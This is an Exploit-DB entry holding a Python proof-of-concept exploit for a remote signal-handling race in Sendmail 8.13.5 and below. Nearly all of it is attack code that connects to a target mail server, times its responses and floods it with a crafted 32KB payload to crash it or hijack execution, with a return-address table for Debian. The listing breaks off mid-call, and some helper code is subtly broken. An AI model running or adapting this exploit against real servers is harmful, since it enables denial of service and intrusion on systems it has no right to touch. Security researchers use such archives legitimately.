Exploit-DB #2051
Description: Sendmail 8.13.5 - Remote Signal Handling (PoC)
Type: dos
Platform: linux
Date: 2006-07-21
Author: redsand

Exploit:
                        #!/usr/bin/env python
#
# redsand@blacksecurity.org
# Sendmail 8.13.5 and below Remote Signal Handling exploit
# usage: rbl4ck-sendmail.py 127.0.0.1 0 25
#
#

# this exploit was leaked to the PHC (Phrack High Council)
# so instead of only letting them have a copy, we figure
# everyone should have what they have.
#
# :-)

#
# several of the tested operating systems appear to crash at a static
# string in memory and we were unable to shift the location of that crash.
# However, Fedora gives us a nice sexy soft spot to land, one that allows us
# to control the flow of code execution
# this is only a proof of concept
#

import os, sys, socket, time, select, string, errno, threading

IP="127.0.0.1"
PORT=25
fromdd = "w00t@bex.redsand.net"
def_arch = 0
def_timeout = (60 * 60) * 2 # 2 hrs
#def_timeout = 5 # 5 seconds
domain = "localhost"
total_time = None
threshold = 2.5

guess_timeout = 4.0

threads = 40

arch = [ 
	{ 'OS':'Debian 3.0-r1', 'offset':190, 'pad':28, 'return':0xbfbfdad1L }
	]

argc = len(sys.argv)
if(argc > 1):
	IP = sys.argv[1]

if(argc > 2):
	def_arch = int(sys.argv[2])

if(argc > 3):
	PORT = int(sys.argv[3])

def	ia32(o):
	s=''
	w=chr(i % 256)
	o = o >> 8
	x=chr(i % 256)
	o = o >> 8
	y=chr(i % 256)
	o = o >> 8
	z=chr(i % 256)

	s = "%c%c%c%c" % (w,x,y,z)
	return s

def	substr(i, str, off):
	top=i[:off]
	end=i[off+len(str):]
	s = top + str + end
	return s
	


def	rout( str):
	print ("[bl4ck]: " + str)

def	mbanner():
	rout("Sendmail 8.13.5 and below Remote Signal Handling exploit by redsand@blacksecurity.org")
	rout("Supported Operating Systems:")
	p = 0
	for i in arch:
		rout("{%r} %s" % (p, i['OS']))
		p += 1

def	rsend( s, str, p=True):
	sent = s.send(str )
	#sent = s.send(str + "\r\n")
	if sent == 0:
		rout("socket send() failed")
	if(p):
		rout("Sent Request: \r\n\r\n%s\r\n" % str)

def	probe(sock):
	str = "HELO blacksecurity.org\r\nMAIL FROM: <%s>\r\nRCPT TO: root@%s\r\nDATA\r\n" % (fromdd,domain)
	rsend(sock,str)


def	payload(size=32764):
	ret = "\x7f" * size
	i = 0
	while i < size :
		ret = substr(ret,": ",100 + i)
		ret = substr(ret,"\r\n",200 + i)
		i += 202

	ret += "\r\n"
	return ret


class rSendmail( threading.Thread) :

	thres = threshold
	do_exit = False
	btime = None
	etime = None
	state = 0
	total_time = 0

	def	__init__(self, thresh=0):
		if not thresh == 0:
			self.thres = thresh
		threading.Thread.__init__ ( self )


	def     rrecv(self,s, response=None):
        	buf = ''
        	try:
	                buf = s.recv(2048)
	        except socket.error, (ecode, reason):
	                #rout("Socket failure %r:%s" % (ecode, reason))
	                return False

        	if buf == '':
                	return False

        	rout("Reading response: \r\n\r\n%s\r\n" % buf[0:-2])
       		msg = buf[0:-2].split("\r\n")
        	for m in msg:

                	k = m[0:3]
                	if (k != None) and (k != '') and (k != "\x7f\x7f\x7f"):
                        	code = int(m[0:3])
                	else:
                        	code = 0

                	if( code == 354 and self.state == 0 ):
                        	self.btime = time.time()
                        	self.state += 1
                        	return True
                	elif( code == 451 and self.state == 1):
                        	self.etime = time.time()
                        	self.state += 1
	                        return True
       	        	elif( code == 451 and self.state == 4):
                        	self.state += 1
                        	return True
                	elif( code == 354 and self.state == 3):
                        	self.state += 1
                        	return True

                	if (self.state == 5):
                        	self.state += 1
                        	rout("Debug error, unable to escalate state")
				self.stop()
				return False

	        if(response != None):
       	        	rsend(s,response)

	def stop(self):
		self.do_exit = True


	def run (self ):

		rout("Connecting to %s:%r" % (IP,PORT))

		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		sock.setblocking(0) # non-blocking 0hn0

		try:
			sock.connect((IP, PORT))
		except socket.error, (ecode, reason):
			if ecode in (115, 150): pass
			else:
				rout("Error %r:%s" % (ecode,reason))
				return
	
			ret = select.select([sock],[sock],[], def_timeout)
	
			if len(ret[1]) == 0 and len (ret[0]) == 0:
				sock.close()
				rout("Timed out on connect")
				return
	
		rout("Setting non-blocking options with a default timeout of %r seconds" % def_timeout)
	
		xplbuf = "\xAF\xBE\xAD\xDE"

		probe1 = False
		probe2 = False
		pump = False
	
		while not self.do_exit:
		
			readsock, writesock, err = select.select([sock],[sock],[], def_timeout)
			if len(readsock) > 0:
				for s in readsock:
					self.rrecv(s)
	
			if len(writesock) > 0:
				for s in writesock:
					if(self.state == 0):
						if not probe1:
							probe(s) # rsend(s,"HELO")
							probe1 = True
						break
	
					if(self.state == 1):
						if not pump:
							pump = True
							time.sleep(guess_timeout - (0.9))
							rsend(s,payload(32764) + "\r\n", False)
							rout("Sending heavy load")
	
						break
	
					if(self.state == 2):
					# measure timeout
					# wait = end - start  
					# where end is time of code 451 & start is 354 go ahead
						self.total_time = (self.etime - self.btime) + self.thres
						#self.total_time = (self.etime - self.btime)
						self.state += 1
		
					if(self.state == 3):
						if not probe2:
							rsend(s,"\n")
							probe(s)
							probe2 = True
						break
		
					if(self.state == 4):
						## race here
						# send bad header
						# lets wait 
						rsend(s,